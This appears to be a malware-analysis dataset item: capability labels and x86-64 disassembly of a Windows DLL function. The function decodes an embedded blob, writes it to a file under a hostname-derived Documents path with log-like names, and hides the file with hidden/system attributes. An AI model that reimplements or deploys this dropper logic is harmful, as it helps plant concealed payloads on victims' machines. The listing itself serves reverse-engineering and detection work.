Function at 0x180001380
Capabilities:
Check if file exists
Contain obfuscated stackstrings
Encode data using xor
Get file attributes
Get hostname
Hash data using jshash
Set file attributes
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x5f0]
sub rsp, 0x6f0
mov rax, qword [section..data]
xor rax, rsp
mov qword [rbp + 0x5e0], rax
movdqa xmm0, xmmword [0x18001a960]
lea rcx, [rbp + 0xaa]
xor edx, edx
movdqa xmmword [rbp + 0x90], xmm0
mov r8d, 0xea
mov dword [rbp + 0xa0], 0x75636f44
mov dword [rbp + 0xa4], 0x746e656d
mov word [rbp + 0xa8], 0x5c73
call fcn.180003d80
xor edx, edx
mov dword [rbp + 0x1a0], 0x74626465
mov r8d, 0xfa
mov dword [rbp + 0x1a4], 0x6c2e706d
lea rcx, [rbp + 0x1aa]
mov word [rbp + 0x1a8], 0x676f
call fcn.180003d80
xor edx, edx
lea rcx, [rbp + 0x4d0]
mov r8d, 0x104
call fcn.180003d80
xor edx, edx
mov dword [rsp + 0x40], 0x74626465
mov r8d, 0xf7
mov dword [rsp + 0x44], 0x6142706d
lea rcx, [rsp + 0x4d]
mov dword [rsp + 0x48], 0x6f6c2e6b
mov byte [rsp + 0x4c], 0x67
call fcn.180003d80
xor eax, eax
mov dword [rbp + 0x50], 0x104
xor edx, edx
mov qword [rbp + 0x58], rax
mov r8d, 0x104
mov byte [rbp + 0x60], al
lea rcx, [rbp + 0x3c0]
call fcn.180003d80
xor edx, edx
lea rcx, [rbp + 0x2b0]
mov r8d, 0x104
call fcn.180003d80
lea rdx, [rbp + 0x50]
lea rcx, [rbp + 0x3c0]
call qword [sym.imp.KERNEL32.dll_GetComputerNameA]
mov eax, dword [rbp + 0x50]
lea r8, [rbp + 0x3c0]
mov edx, 0x4e67c6a7
test eax, eax
je 0x1800014ef
mov r9d, eax
nop dword [rax]
nop dword [rax + rax]
mov ecx, edx
lea r8, [r8 + 1]
shl ecx, 5
mov eax, edx
shr eax, 2
add ecx, eax
movsx eax, byte [r8 - 1]
add ecx, eax
xor edx, ecx
sub r9, 1
jne 0x1800014d0
mov eax, dword [0x18001a938]
xor ebx, ebx
movups xmm0, xmmword [0x18001a918]
mov dword [rbp + 0x88], eax
mov ecx, ebx
movups xmm1, xmmword [0x18001a928]
movzx eax, byte [0x18001a93c]
mov r9d, ebx
movups xmmword [rbp + 0x68], xmm0
mov byte [rbp + 0x8c], al
movups xmmword [rbp + 0x78], xmm1
nop word [rax + rax]
mov eax, edx
lea r9, [r9 + 1]
and eax, 0xf
shr edx, 4
mov r10d, ecx
inc ecx
movzx eax, byte [rbp + rax + 0x68]
mov byte [rbp + r9 + 0x57], al
test edx, edx
jne 0x180001530
mov eax, r10d
movsxd rcx, ecx
mov r8, rbx
cdq
mov byte [rbp + rcx + 0x58], bl
cmp byte [rbp + 0x58], 0x2d
sete r8b
sub eax, edx
sar eax, 1
movsxd r10, eax
cmp r8, r10
jg 0x18000159d
lea rdx, [rbp + r9 + 0x57]
nop word [rax + rax]
movzx eax, byte [rdx]
lea rdx, [rdx - 1]
movzx ecx, byte [rbp + r8 + 0x58]
mov byte [rbp + r8 + 0x58], al
inc r8
mov byte [rdx + 1], cl
cmp r8, r10
jle 0x180001580
lea rcx, [rbp + 0x2b0]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x1800015a7
lea r8, [rbp + 0x58]
xor edx, edx
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800015c0
mov rcx, rbx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x2b0]
mov byte [rbp + rcx + 0x3c0], al
lea rcx, [rcx + 1]
test al, al
jne 0x1800015e0
lea rcx, [rbp + 0x90]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x180001601
lea r8, [rbp + 0x3c0]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x180001620
lea rcx, [rbp + 0x90]
dec rcx
nop word [rax + rax]
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x180001640
movzx eax, word [0x18001a940]
mov word [rcx], ax
mov rcx, rbx
nop word [rax + rax]
movzx eax, byte [rbp + rcx + 0x90]
mov byte [rbp + rcx + 0x4d0], al
lea rcx, [rcx + 1]
test al, al
jne 0x180001660
lea rcx, [rbp + 0x4d0]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x180001681
lea r8, [rsp + 0x40]
xor edx, edx
nop dword [rax]
nop word [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800016a0
lea rcx, [rbp + 0x90]
call fcn.1800012c0
lea rcx, [rbp + 0x90]
dec rcx
cmp byte [rcx + 1], bl
lea rcx, [rcx + 1]
jne 0x1800016c6
lea r8, [rbp + 0x1a0]
xor edx, edx
nop dword [rax + rax]
movzx eax, byte [r8 + rdx]
mov byte [rcx + rdx], al
lea rdx, [rdx + 1]
test al, al
jne 0x1800016e0
xor edx, edx
lea rcx, [rbp + 0x2b0]
mov r8d, 0x104
call fcn.180003d80
lea rax, [rbp + 0x90]
mov rsi, 0xffffffffffffffff
inc rsi
cmp byte [rax + rsi], bl
jne 0x180001712
mov rdi, rbx
test rsi, rsi
je 0x18000175c
cmp byte [rbp + rdi + 0x90], 0x5c
jne 0x180001754
mov r8, rdi
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x2b0]
call fcn.180007504
mov edx, 0x80
lea rcx, [rbp + 0x2b0]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc rdi
cmp rdi, rsi
jb 0x180001722
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180001793
mov edx, 0x80
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
lea rdx, [rbp + 0x4d0]
lea rcx, [rbp + 0x90]
call fcn.1800073c8
mov ecx, 0x1545
call fcn.180007684
mov rdi, rax
test rax, rax
je 0x180001905
xor eax, eax
lea rdx, [0x18012fe70]
mov r8d, 0x1544
mov byte [rdi + 0x1544], al
mov rcx, rdi
call fcn.180005f70
mov edx, ebx
mov rcx, rdi
nop dword [rax + rax]
movzx eax, byte [rcx]
test al, al
je 0x1800017db
dec al
mov byte [rcx], al
inc edx
inc rcx
cmp edx, 0x1544
jb 0x1800017d0
mov qword [rsp + 0x30], rbx
lea rcx, [rbp + 0x90]
mov dword [rsp + 0x28], ebx
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x20], 2
mov edx, 0x40000000
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rsi, rax
cmp rax, 0xffffffffffffffff
je 0x180001905
lea r9, [rbp + 0x54]
mov qword [rsp + 0x20], rbx
mov r8d, 0x1544
mov rdx, rdi
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
je 0x180001866
mov edx, 7
lea rcx, [rbp + 0x90]
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
mov rcx, rdi
call fcn.180007670
xor edx, edx
lea rcx, [rbp + 0x1a0]
mov r8d, 0x104
call fcn.180003d80
lea rax, [rbp + 0x90]
mov rdi, 0xffffffffffffffff
inc rdi
cmp byte [rax + rdi], bl
jne 0x180001890
test rdi, rdi
je 0x1800018fe
nop dword [rax]
cmp byte [rbp + rbx + 0x90], 0x5c
jne 0x1800018f6
mov r8, rbx
lea rdx, [rbp + 0x90]
lea rcx, [rbp + 0x1a0]
call fcn.180007504
lea rcx, [rbp + 0x1a0]
mov rax, 0xffffffffffffffff
nop
inc rax
cmp byte [rcx + rax], 0
jne 0x1800018d0
lea rcx, [rbp + 0x1a0]
mov edx, 7
cmp rax, 0x19
ja 0x1800018f0
mov edx, 0x80
call qword [sym.imp.KERNEL32.dll_SetFileAttributesA]
inc rbx
cmp rbx, rdi
jb 0x1800018a0
mov eax, 1
jmp 0x180001907
xor eax, eax
mov rcx, qword [rbp + 0x5e0]
xor rcx, rsp
call fcn.180002270
lea r11, [rsp + 0x6f0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret